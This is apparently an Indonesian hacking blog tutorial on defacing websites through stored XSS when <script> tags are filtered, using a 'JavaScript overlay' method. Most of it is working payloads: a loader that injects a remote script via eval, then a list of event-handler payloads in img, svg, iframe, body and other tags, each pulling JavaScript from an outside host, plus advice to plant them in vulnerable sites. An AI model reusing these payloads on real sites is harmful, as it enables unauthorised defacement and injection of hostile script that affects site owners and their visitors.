Pernahkah kalian berfikir untuk melakukan kegiatan deface 1 halaman penuh namun, kalian hanya menemukan XSS saja?
Yap, pertanyaan diatas memiliki sebuah jawaban yaitu dengan metode javascript
overlay atau biasa disingkat JSO. Masalahnya disini, kebanyakan situs yang
rentan terkadang memfilter tag <script>
yang
pastinya tidak akan tereksekusi injeksi JSO kalian ke halaman tersebut. Kalau
sudah begini si heker paling juga mentok cuma munculin alert menggunakan tag
img seperti
"><img src=x onerror=prompt("injected by hwkwr")>
.
Pertanyaannya, bisakah kita mendeface 1 halaman penuh dengan metode JSO selain
menggunakan tag <script>
?
Nah disini saya akan menjawab, bagaimana cara melakukan deface dengan metode
Javascript Overlay selain menggunakan tag
<script>
, dalam artian bisa jadi tag
<img>
, <p>
,
<style>
, dan lain lain, atau bahkan keseluruhan
tag HTML dapat dimanfaatkan untuk melakukan web defacement.
Cara kerjanya simpel, dimana web tersebut ada celah Stored XSS atau Stored HTML Injection, artinya celah di halaman tersebut dapat kita deface dengan memanipulasi 1 baris pendek script yang memuat konten defacement. Bisa itu auto redirect, full page, menyisipkan frame, dll. Langsung saja follow my proof.
1. Buat script JSO
Seperti biasa, kalian tentunya harus menyiapkan script deface atau konten
lain, yang kemudian kalian convert di tools" JSO Generator yang tersebar di
web para heker. Jangan lupa, disini kalian upload muatan script JSO kalian
dalam bentuk ekstensi .js
. Apabila pada tool jso
generator yang kalian gunakan auto create di pastebin.com, saya tidak
menyarankan, karena tidak bisa tereksekusi.
Saya rekomendasikan kalian menggunakan Jso generator dari
exploits.my.id, yang menggunakan format .js
pada muatan script
kalian.
2. Payload Utama
Setelah tadi kalian convert lalu upload, kemudian kalian salin linknya dan masukkan pada payload berikut:
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://website-jso.com/scriptkamu.js
\';document.body.appendChild(a)')
Misal seperti dibawah saya membuat payload utama berikut sebagai contoh:
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://labsosio.ui.ac.id/wp-snapshots/tmp/tools/jso/6466f5a4.js
\';document.body.appendChild(a)')
Setelah payload utama dibuat, selanjutnya tinggal kita buat payload html tag diantaranya langsung saja cek dibawah.
3. All payload
Berikut beberapa muatan tag HTML atau payload yang bisa kamu gunakan untuk mentrigger script kamu, yang tentunya berperan sebagai bypasser ketika tag script telah difilter pada web target.
Tag HTML dasar seperti <img>
, <svg>
, <audio>
, <iframe>
, <object>
, <a>
, <p>
, <marquee>
, <h1>
, <html>
, dan <body>
<!-- <img> tag --> "><img src=x onerror="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')"> <!-- <svg> tag --> "><svg/onload="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')"> <!-- <audio> tag --> "><audio src=x onerror="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')"> <!-- <iframe> tag --> "><iframe onload="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')"> <!-- <object> tag --> "><object src=x onerror="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')"> <!-- <a> tag --> "><a href="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')">Click x-ploitech</a> <!-- <p> tag --> "><p onclick="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')">Click x-ploitech</p> <!-- <marquee> tag --> "><marquee onclick="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')">Click x-ploitech</marquee> <!-- <h1> tag --> "><h1 onclick="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')">Click x-ploitech</h1> <!-- <html> tag --> "><body onload="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')"> <!-- <body> tag --> "><body onload="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')"> <!-- <style> tag --> "><style onload="javascript:eval('var a=document.createElement(\'script\');a.src=\'https://shaakira.000webhostapp.com/jso.js\';document.body.appendChild(a)')">
4. Eksekusi
Kalian bisa mencoba atau mengetest payload kalian pada kolom pencarian di shaakira.000webhostapp.com/sessionz yang rentan terhadap reflected xss, apakah berhasil tereksekusi atau tidak. Kemudian tinggal kalian tanam script tersebut pada web yang rentan Stored XSS yang terhalang oleh filter pada tag <script>
. selebihnya bisa kalian kembangkan lagi untuk metode ini.
Sekian artikel mengenai cara membuat script Deface via Stored XSS with all XSS Payload or HTML Tag, jika sekiranya bermanfaat silahkan di share ke sirkel kalian dan semoga dapat menambah pengetahuan kamu. Happy hacking!